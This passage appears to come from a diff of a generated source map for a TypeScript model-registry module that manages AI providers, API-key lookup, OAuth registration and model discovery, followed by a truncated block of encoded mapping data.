gating.\n\t */\n\tisProviderRequestReady(provider: string): boolean {\n\t\tconst config = this.registeredProviders.get(provider);\n\t\tif (config?.isReady) return config.isReady();\n\t\tconst authMode = this.getProviderAuthMode(provider);\n\t\tif (authMode === \"externalCli\" || authMode === \"none\") return true;\n\t\treturn this.authStorage.hasAuth(provider);\n\t}\n\n\t/**\n\t * Find a model by provider and ID.\n\t */\n\tfind(provider: string, modelId: string): Model<Api> | undefined {\n\t\treturn this.models.find((m) => m.provider === provider && m.id === modelId);\n\t}\n\n\t/**\n\t * Get API key for a model.\n\t * Returns undefined for externalCli/none providers (no key needed).\n\t * @param sessionId - Optional session ID for sticky credential selection\n\t */\n\tasync getApiKey(model: Model<Api>, sessionId?: string): Promise<string | undefined> {\n\t\tconst authMode = this.getProviderAuthMode(model.provider);\n\t\tif (authMode === \"externalCli\" || authMode === \"none\") return undefined;\n\t\treturn this.authStorage.getApiKey(model.provider, sessionId);\n\t}\n\n\t/**\n\t * Get API key for a provider.\n\t * Returns undefined for externalCli/none providers (no key needed).\n\t * @param sessionId - Optional session ID for sticky credential selection\n\t */\n\tasync getApiKeyForProvider(provider: string, sessionId?: string): Promise<string | undefined> {\n\t\tconst authMode = this.getProviderAuthMode(provider);\n\t\tif (authMode === \"externalCli\" || authMode === \"none\") return undefined;\n\t\treturn this.authStorage.getApiKey(provider, sessionId);\n\t}\n\n\t/**\n\t * Check if a model is using OAuth credentials (subscription).\n\t */\n\tisUsingOAuth(model: Model<Api>): boolean {\n\t\tconst cred = this.authStorage.get(model.provider);\n\t\treturn cred?.type === \"oauth\";\n\t}\n\n\t/**\n\t * Register a provider dynamically (from extensions).\n\t *\n\t * If provider has models: replaces all existing models for this provider.\n\t * If provider has only baseUrl/headers: overrides existing models' URLs.\n\t * If provider has oauth: registers OAuth provider for /login support.\n\t */\n\tregisterProvider(providerName: string, config: ProviderConfigInput): void {\n\t\tthis.registeredProviders.set(providerName, config);\n\t\tthis.applyProviderConfig(providerName, config);\n\t}\n\n\t/**\n\t * Unregister a previously registered provider.\n\t *\n\t * Removes the provider from the registry and reloads models from disk so that\n\t * built-in models overridden by this provider are restored to their original state.\n\t * Also resets dynamic OAuth and API stream registrations before reapplying\n\t * remaining dynamic providers.\n\t * Has no effect if the provider was never registered.\n\t */\n\tunregisterProvider(providerName: string): void {\n\t\tif (!this.registeredProviders.has(providerName)) return;\n\t\tthis.registeredProviders.delete(providerName);\n\t\tthis.customProviderApiKeys.delete(providerName);\n\t\tthis.refresh();\n\t}\n\n\tprivate applyProviderConfig(providerName: string, config: ProviderConfigInput): void {\n\t\t// Register OAuth provider if provided\n\t\tif (config.oauth) {\n\t\t\t// Ensure the OAuth provider ID matches the provider name\n\t\t\tconst oauthProvider: OAuthProviderInterface = {\n\t\t\t\t...config.oauth,\n\t\t\t\tid: providerName,\n\t\t\t};\n\t\t\tregisterOAuthProvider(oauthProvider);\n\t\t}\n\n\t\tif (config.streamSimple) {\n\t\t\tif (!config.api) {\n\t\t\t\tthrow new Error(`Provider ${providerName}: \"api\" is required when registering streamSimple.`);\n\t\t\t}\n\t\t\tconst streamSimple = config.streamSimple;\n\t\t\tregisterApiProvider(\n\t\t\t\t{\n\t\t\t\t\tapi: config.api,\n\t\t\t\t\tstream: (model, context, options) => streamSimple(model, context, options as SimpleStreamOptions),\n\t\t\t\t\tstreamSimple,\n\t\t\t\t},\n\t\t\t\t`provider:${providerName}`,\n\t\t\t);\n\t\t}\n\n\t\t// Store API key for auth resolution\n\t\tif (config.apiKey) {\n\t\t\tthis.customProviderApiKeys.set(providerName, config.apiKey);\n\t\t}\n\n\t\tif (config.models && config.models.length > 0) {\n\t\t\t// Full replacement: remove existing models for this provider\n\t\t\tthis.models = this.models.filter((m) => m.provider !== providerName);\n\n\t\t\t// Validate required fields\n\t\t\tif (!config.baseUrl) {\n\t\t\t\tthrow new Error(`Provider ${providerName}: \"baseUrl\" is required when defining models.`);\n\t\t\t}\n\t\t\tconst authMode = config.authMode ?? (config.oauth ? \"oauth\" : config.apiKey ? \"apiKey\" : \"apiKey\");\n\t\t\tif (authMode === \"apiKey\" && !config.apiKey && !config.oauth) {\n\t\t\t\tthrow new Error(`Provider ${providerName}: \"apiKey\" or \"oauth\" is required when defining models.`);\n\t\t\t}\n\n\t\t\t// Parse and add new models\n\t\t\tfor (const modelDef of config.models) {\n\t\t\t\tconst api = modelDef.api || config.api;\n\t\t\t\tif (!api) {\n\t\t\t\t\tthrow new Error(`Provider ${providerName}, model ${modelDef.id}: no \"api\" specified.`);\n\t\t\t\t}\n\n\t\t\t\t// Merge headers\n\t\t\t\tconst providerHeaders = resolveHeaders(config.headers);\n\t\t\t\tconst modelHeaders = resolveHeaders(modelDef.headers);\n\t\t\t\tlet headers = providerHeaders || modelHeaders ? { ...providerHeaders, ...modelHeaders } : undefined;\n\n\t\t\t\t// If authHeader is true, add Authorization header\n\t\t\t\tif (config.authHeader && config.apiKey) {\n\t\t\t\t\tconst resolvedKey = resolveConfigValue(config.apiKey);\n\t\t\t\t\tif (resolvedKey) {\n\t\t\t\t\t\theaders = { ...headers, Authorization: `Bearer ${resolvedKey}` };\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tthis.models.push({\n\t\t\t\t\tid: modelDef.id,\n\t\t\t\t\tname: modelDef.name,\n\t\t\t\t\tapi: api as Api,\n\t\t\t\t\tprovider: providerName,\n\t\t\t\t\tbaseUrl: config.baseUrl,\n\t\t\t\t\treasoning: modelDef.reasoning,\n\t\t\t\t\tinput: modelDef.input as (\"text\" | \"image\")[],\n\t\t\t\t\tcost: modelDef.cost,\n\t\t\t\t\tcontextWindow: modelDef.contextWindow,\n\t\t\t\t\tmaxTokens: modelDef.maxTokens,\n\t\t\t\t\theaders,\n\t\t\t\t\tcompat: modelDef.compat,\n\t\t\t\t} as Model<Api>);\n\t\t\t}\n\n\t\t\t// Apply OAuth modifyModels if credentials exist (e.g., to update baseUrl)\n\t\t\tif (config.oauth?.modifyModels) {\n\t\t\t\tconst cred = this.authStorage.get(providerName);\n\t\t\t\tif (cred?.type === \"oauth\") {\n\t\t\t\t\tthis.models = config.oauth.modifyModels(this.models, cred);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (config.baseUrl) {\n\t\t\t// Override-only: update baseUrl/headers for existing models\n\t\t\tconst resolvedHeaders = resolveHeaders(config.headers);\n\t\t\tthis.models = this.models.map((m) => {\n\t\t\t\tif (m.provider !== providerName) return m;\n\t\t\t\treturn {\n\t\t\t\t\t...m,\n\t\t\t\t\tbaseUrl: config.baseUrl ?? m.baseUrl,\n\t\t\t\t\theaders: resolvedHeaders ? { ...m.headers, ...resolvedHeaders } : m.headers,\n\t\t\t\t};\n\t\t\t});\n\t\t}\n\t}\n\n\t/**\n\t * Discover models from all providers that support discovery.\n\t * Results are cached and merged into the registry (never overrides existing models).\n\t */\n\tasync discoverModels(providers?: string[]): Promise<DiscoveryResult[]> {\n\t\tconst targetProviders = providers ?? getDiscoverableProviders();\n\t\tconst results: DiscoveryResult[] = [];\n\n\t\tfor (const providerName of targetProviders) {\n\t\t\tconst adapter = getDiscoveryAdapter(providerName);\n\t\t\tif (!adapter.supportsDiscovery) continue;\n\n\t\t\t// Skip if cache is still fresh\n\t\t\tif (!this.discoveryCache.isStale(providerName)) {\n\t\t\t\tconst cached = this.discoveryCache.get(providerName);\n\t\t\t\tif (cached) {\n\t\t\t\t\tresults.push({\n\t\t\t\t\t\tprovider: providerName,\n\t\t\t\t\t\tmodels: cached.models,\n\t\t\t\t\t\tfetchedAt: cached.fetchedAt,\n\t\t\t\t\t});\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tconst apiKey = await this.authStorage.getApiKey(providerName);\n\t\t\t\tif (!apiKey && !this.isProviderRequestReady(providerName)) continue;\n\n\t\t\t\tconst models = await adapter.fetchModels(apiKey ?? \"\", undefined);\n\t\t\t\tthis.discoveryCache.set(providerName, models);\n\t\t\t\tresults.push({\n\t\t\t\t\tprovider: providerName,\n\t\t\t\t\tmodels,\n\t\t\t\t\tfetchedAt: Date.now(),\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tprovider: providerName,\n\t\t\t\t\tmodels: [],\n\t\t\t\t\tfetchedAt: Date.now(),\n\t\t\t\t\terror: error instanceof Error ? error.message : String(error),\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\n\t\t// Convert and merge discovered models\n\t\tthis.discoveredModels = this.convertDiscoveredModels(results);\n\t\treturn results;\n\t}\n\n\t/**\n\t * Get all models including discovered ones.\n\t * Discovered models are appended but never override existing models.\n\t */\n\tgetAllWithDiscovered(): Model<Api>[] {\n\t\tconst existingIds = new Set(this.models.map((m) => `${m.provider}/${m.id}`));\n\t\tconst unique = this.discoveredModels.filter((m) => !existingIds.has(`${m.provider}/${m.id}`));\n\t\treturn [...this.models, ...unique];\n\t}\n\n\t/**\n\t * Check if a model was added via discovery (not built-in or custom).\n\t */\n\tisDiscovered(model: Model<Api>): boolean {\n\t\treturn this.discoveredModels.some((m) => m.provider === model.provider && m.id === model.id);\n\t}\n\n\t/**\n\t * Get the discovery cache instance.\n\t */\n\tgetDiscoveryCache(): ModelDiscoveryCache {\n\t\treturn this.discoveryCache;\n\t}\n\n\t/**\n\t * Convert DiscoveryResult[] into Model<Api>[] with default values.\n\t */\n\tprivate convertDiscoveredModels(results: DiscoveryResult[]): Model<Api>[] {\n\t\tconst converted: Model<Api>[] = [];\n\t\tfor (const result of results) {\n\t\t\tif (result.error) continue;\n\t\t\tfor (const dm of result.models) {\n\t\t\t\tconverted.push({\n\t\t\t\t\tid: dm.id,\n\t\t\t\t\tname: dm.name ?? dm.id,\n\t\t\t\t\tapi: \"openai\" as Api,\n\t\t\t\t\tprovider: result.provider,\n\t\t\t\t\tbaseUrl: \"\",\n\t\t\t\t\treasoning: dm.reasoning ?? false,\n\t\t\t\t\tinput: dm.input ?? [\"text\"],\n\t\t\t\t\tcost: dm.cost ?? { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },\n\t\t\t\t\tcontextWindow: dm.contextWindow ?? 128000,\n\t\t\t\t\tmaxTokens: dm.maxTokens ?? 16384,\n\t\t\t\t} as Model<Api>);\n\t\t\t}\n\t\t}\n\t\treturn converted;\n\t}\n}\n\n/**\n * Input type for registerProvider API.\n */\nexport interface ProviderConfigInput {\n\tauthMode?: ProviderAuthMode;\n\t/** Optional readiness check. Called by isProviderRequestReady() before default auth checks. */\n\tisReady?: () => boolean;\n\tbaseUrl?: string;\n\tapiKey?: string;\n\tapi?: Api;\n\tstreamSimple?: (model: Model<Api>, context: Context, options?: SimpleStreamOptions) => AssistantMessageEventStream;\n\theaders?: Record<string, string>;\n\tauthHeader?: boolean;\n\t/** OAuth provider for /login support */\n\toauth?: Omit<OAuthProviderInterface, \"id\">;\n\tmodels?: Array<{\n\t\tid: string;\n\t\tname: string;\n\t\tapi?: Api;\n\t\tbaseUrl?: string;\n\t\treasoning: boolean;\n\t\tinput: (\"text\" | \"image\")[];\n\t\tcost: { input: number; output: number; cacheRead: number; cacheWrite: number };\n\t\tcontextWindow: number;\n\t\tmaxTokens: number;\n\t\theaders?: Record<string, string>;\n\t\tcompat?: Model<Api>[\"compat\"];\n\t}>;\n}\n"]}
1
+ {"version":3,"file":"model-registry.js","sourceRoot":"","sources":["../../src/core/model-registry.ts"],"names":[],"mappings":"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